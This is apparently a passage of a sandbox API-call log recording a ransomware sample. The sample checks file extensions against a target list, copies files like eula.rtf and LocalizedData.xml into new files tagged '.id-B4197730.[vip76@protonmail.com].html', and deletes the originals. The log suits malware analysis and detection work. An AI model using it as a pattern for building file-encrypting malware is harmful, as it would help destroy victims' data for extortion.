	[0060.083] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.083] lstrlenW (lpString=".jpg") returned 4
	[0060.083] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.083] lstrlenW (lpString=".doc") returned 4
	[0060.083] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.083] lstrlenW (lpString=".docx") returned 5
	[0060.083] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.083] lstrlenW (lpString=".pdf") returned 4
	[0060.083] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.083] lstrlenW (lpString=".xls") returned 4
	[0060.083] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.083] lstrlenW (lpString=".xlsx") returned 5
	[0060.083] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.083] lstrlenW (lpString=".ppt") returned 4
	[0060.083] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.083] lstrlenW (lpString=".zip") returned 4
	[0060.083] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.083] lstrlenW (lpString=".rar") returned 4
	[0060.083] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.083] lstrlenW (lpString=".bz2") returned 4
	[0060.083] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.083] lstrlenW (lpString=".7z") returned 3
	[0060.083] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.083] lstrlenW (lpString=".dbf") returned 4
	[0060.083] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.084] lstrlenW (lpString=".1cd") returned 4
	[0060.084] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.084] lstrlenW (lpString=".jpg") returned 4
	[0060.084] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.084] Sleep (dwMilliseconds=0x64) 
	[0060.479] Sleep (dwMilliseconds=0x64) 
	[0060.769] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0060.769] lstrlenW (lpString="eula.rtf") returned 8
	[0060.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.769] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3419) returned 1
	[0060.769] CloseHandle (hObject=0x2c8) returned 1
	[0060.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0060.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.770] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.770] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.772] GetLastError () returned 0x0
	[0060.772] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xd5b, lpOverlapped=0x0) returned 1
	[0060.773] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0060.774] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.774] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0060.774] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.774] CloseHandle (hObject=0x2d0) returned 1
	[0060.775] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.775] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.776] CloseHandle (hObject=0x2c8) returned 1
	[0060.776] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.777] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1
	[0060.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.777] lstrlenW (lpString=".doc") returned 4
	[0060.777] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.777] lstrlenW (lpString=".docx") returned 5
	[0060.777] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.777] lstrlenW (lpString=".pdf") returned 4
	[0060.777] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.777] lstrlenW (lpString=".xls") returned 4
	[0060.777] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.777] lstrlenW (lpString=".xlsx") returned 5
	[0060.777] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.777] lstrlenW (lpString=".ppt") returned 4
	[0060.777] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.777] lstrlenW (lpString=".zip") returned 4
	[0060.777] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.777] lstrlenW (lpString=".rar") returned 4
	[0060.777] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.777] lstrlenW (lpString=".bz2") returned 4
	[0060.777] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.777] lstrlenW (lpString=".7z") returned 3
	[0060.778] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.778] lstrlenW (lpString=".dbf") returned 4
	[0060.778] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.778] lstrlenW (lpString=".1cd") returned 4
	[0060.778] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.778] lstrlenW (lpString=".jpg") returned 4
	[0060.778] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.778] lstrlenW (lpString=".doc") returned 4
	[0060.778] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.778] lstrlenW (lpString=".docx") returned 5
	[0060.778] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.778] lstrlenW (lpString=".pdf") returned 4
	[0060.778] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.778] lstrlenW (lpString=".xls") returned 4
	[0060.778] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.778] lstrlenW (lpString=".xlsx") returned 5
	[0060.778] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.778] lstrlenW (lpString=".ppt") returned 4
	[0060.778] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.778] lstrlenW (lpString=".zip") returned 4
	[0060.779] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.779] lstrlenW (lpString=".rar") returned 4
	[0060.779] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.779] lstrlenW (lpString=".bz2") returned 4
	[0060.779] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.779] lstrlenW (lpString=".7z") returned 3
	[0060.779] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.779] lstrlenW (lpString=".dbf") returned 4
	[0060.779] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.779] lstrlenW (lpString=".1cd") returned 4
	[0060.779] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0060.779] lstrlenW (lpString=".jpg") returned 4
	[0060.779] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.779] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0060.779] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.779] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.780] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=82346) returned 1
	[0060.780] CloseHandle (hObject=0x2c8) returned 1
	[0060.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0060.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.780] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.780] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.781] GetLastError () returned 0x0
	[0060.781] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x141aa, lpOverlapped=0x0) returned 1
	[0060.816] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x141b0, lpOverlapped=0x0) returned 1
	[0060.819] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.819] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0060.819] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.820] CloseHandle (hObject=0x2d0) returned 1
	[0060.822] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.822] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.824] CloseHandle (hObject=0x2c8) returned 1
	[0060.824] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.824] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1
	[0060.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.825] lstrlenW (lpString=".doc") returned 4
	[0060.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString=".docx") returned 5
	[0060.825] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.825] lstrlenW (lpString=".pdf") returned 4
	[0060.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString=".xls") returned 4
	[0060.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString=".xlsx") returned 5
	[0060.825] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.825] lstrlenW (lpString=".ppt") returned 4
	[0060.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.825] lstrlenW (lpString=".zip") returned 4
	[0060.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.825] lstrlenW (lpString=".rar") returned 4
	[0060.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString=".bz2") returned 4
	[0060.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString=".7z") returned 3
	[0060.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.825] lstrlenW (lpString=".dbf") returned 4
	[0060.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.825] lstrlenW (lpString=".1cd") returned 4
	[0060.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.826] lstrlenW (lpString=".jpg") returned 4
	[0060.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.826] lstrlenW (lpString=".doc") returned 4
	[0060.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString=".docx") returned 5
	[0060.826] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.826] lstrlenW (lpString=".pdf") returned 4
	[0060.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString=".xls") returned 4
	[0060.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString=".xlsx") returned 5
	[0060.826] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.826] lstrlenW (lpString=".ppt") returned 4
	[0060.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.826] lstrlenW (lpString=".zip") returned 4
	[0060.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.826] lstrlenW (lpString=".rar") returned 4
	[0060.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString=".bz2") returned 4
	[0060.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.826] lstrlenW (lpString=".7z") returned 3
	[0060.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.827] lstrlenW (lpString=".dbf") returned 4
	[0060.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.827] lstrlenW (lpString=".1cd") returned 4
	[0060.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0060.827] lstrlenW (lpString=".jpg") returned 4
	[0060.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.827] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0060.827] lstrlenW (lpString="eula.rtf") returned 8
	[0060.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.828] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8876) returned 1
	[0060.828] CloseHandle (hObject=0x2c8) returned 1
	[0060.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0060.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.829] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.829] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.831] GetLastError () returned 0x0
	[0060.831] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x22ac, lpOverlapped=0x0) returned 1
	[0060.833] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0060.835] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.835] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0060.835] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.835] CloseHandle (hObject=0x2d0) returned 1
	[0060.836] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.836] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.837] CloseHandle (hObject=0x2c8) returned 1
	[0060.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.838] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1
	[0060.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.838] lstrlenW (lpString=".doc") returned 4
	[0060.838] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.838] lstrlenW (lpString=".docx") returned 5
	[0060.838] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.838] lstrlenW (lpString=".pdf") returned 4
	[0060.838] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.838] lstrlenW (lpString=".xls") returned 4
	[0060.838] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.839] lstrlenW (lpString=".xlsx") returned 5
	[0060.839] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.839] lstrlenW (lpString=".ppt") returned 4
	[0060.839] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.839] lstrlenW (lpString=".zip") returned 4
	[0060.839] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.839] lstrlenW (lpString=".rar") returned 4
	[0060.839] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.839] lstrlenW (lpString=".bz2") returned 4
	[0060.839] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.839] lstrlenW (lpString=".7z") returned 3
	[0060.839] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.839] lstrlenW (lpString=".dbf") returned 4
	[0060.839] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.839] lstrlenW (lpString=".1cd") returned 4
	[0060.839] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.839] lstrlenW (lpString=".jpg") returned 4
	[0060.839] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.839] lstrlenW (lpString=".doc") returned 4
	[0060.840] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.840] lstrlenW (lpString=".docx") returned 5
	[0060.840] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.840] lstrlenW (lpString=".pdf") returned 4
	[0060.840] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.840] lstrlenW (lpString=".xls") returned 4
	[0060.840] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.840] lstrlenW (lpString=".xlsx") returned 5
	[0060.840] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.840] lstrlenW (lpString=".ppt") returned 4
	[0060.840] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.840] lstrlenW (lpString=".zip") returned 4
	[0060.840] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.840] lstrlenW (lpString=".rar") returned 4
	[0060.840] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.840] lstrlenW (lpString=".bz2") returned 4
	[0060.840] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.840] lstrlenW (lpString=".7z") returned 3
	[0060.840] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.840] lstrlenW (lpString=".dbf") returned 4
	[0060.840] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.840] lstrlenW (lpString=".1cd") returned 4
	[0060.840] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
